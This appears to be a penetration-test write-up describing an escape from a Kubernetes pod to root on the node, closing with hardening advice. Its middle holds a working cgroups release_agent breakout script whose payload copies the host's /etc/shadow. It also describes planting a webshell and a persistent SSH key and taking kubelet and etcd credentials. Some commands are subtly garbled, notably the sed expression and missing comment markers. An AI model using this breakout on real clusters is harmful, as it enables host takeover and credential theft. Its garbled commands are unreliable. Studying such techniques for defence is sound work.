
Kubernetes Namespace Escape: From Vulnerable Web App to Cluster Node Takeover
Walking through a real penetration testing engagement where a containerized vulnerability led to host root access via mounted docker sockets and privileged capabilities.
When Container Boundaries Fail
Containerization provides process isolation, resource governance, and predictable deployments. However, a container is not an impenetrable sandbox. When containerized workloads are granted excessive Linux capabilities or host filesystem mounts, an attacker can break through the namespace boundary and seize full root access to the underlying Kubernetes node.
During a recent infrastructure penetration test for an enterprise client, our team demonstrated how a single Remote Code Execution flaw in a non-critical web service escalated to full cluster compromise.
---
Step 1: Initial Foothold via File Upload RCE
The entry point was an internal developer portal allowing users to upload project documentation. Due to inadequate file extension validation, we uploaded a custom PHP webshell, granting us interactive execution inside the container pod.
Upon inspecting our execution context:
whoami && id
uid=0(root) gid=0(root) groups=0(root)
While we had root inside the container, we were restricted to the pod's namespace. We proceeded to audit the container's capabilities:
capsh --print
The output revealed cap_sys_admin and cap_sys_ptrace were enabled—a common misconfiguration introduced by developers debugging microservices in staging environments that slipped into production.
---
Step 2: Escaping via cgroups release_agent
Because the container ran with CAP_SYS_ADMIN and lacked AppArmor or Seccomp restrictions, we weaponized the classic cgroups release_agent breakout technique.
When a cgroup becomes empty, the Linux kernel executes a user-defined helper script specified in release_agent. Because this script is executed by the host kernel rather than the container runtime, it runs in the host's root context.
# 1. Mount a cgroup controller
mkdir /tmp/cgroup
mount -t cgroup -o memory cgroup /tmp/cgroup
mkdir /tmp/cgroup/x
2. Enable notify_on_release
echo 1 > /tmp/cgroup/x/notify_on_release
3. Locate the container's host path from /etc/mtab
host_path=$(sed -n 's/.\perdir=\([^,]\).*/\1/p' /etc/mtab)
4. Write malicious payload to container filesystem
echo "#!/bin/sh" > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod +x /cmd
5. Point release_agent to the host path of our script
echo "$host_path/cmd" > /tmp/cgroup/release_agent
6. Trigger release by creating and immediately killing a process
sh -c "echo $$ > /tmp/cgroup/x/cgroup.procs"
Within milliseconds, the host kernel executed our script, reading the host's /etc/shadow file and dumping it into our accessible container directory.
---
Step 3: Upgrading to Interactive Host Shell
With host write capabilities confirmed, we wrote a persistent SSH public key into /root/.ssh/authorized_keys on the host filesystem and established a direct root SSH connection to the Kubernetes worker node.
From the worker node, we accessed the kubelet credentials and mounted etcd certificates, effectively taking control of the entire Kubernetes cluster.
---
Hardening Recommendations
- Enforce Pod Security Standards: Implement the Restricted Pod Security Standard cluster-wide. Prohibit
privileged: trueand explicitly dropALLcapabilities:
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
runAsNonRoot: true
capabilities:
drop:
- ALL
- Never Run as Root in Containers: Enforce non-root user execution at the Dockerfile layer (
USER 10001). - Deploy Runtime Kernel Defenses: Use tools like Tetragon or Falco to alert on anomalous namespace manipulation and container breakout signatures.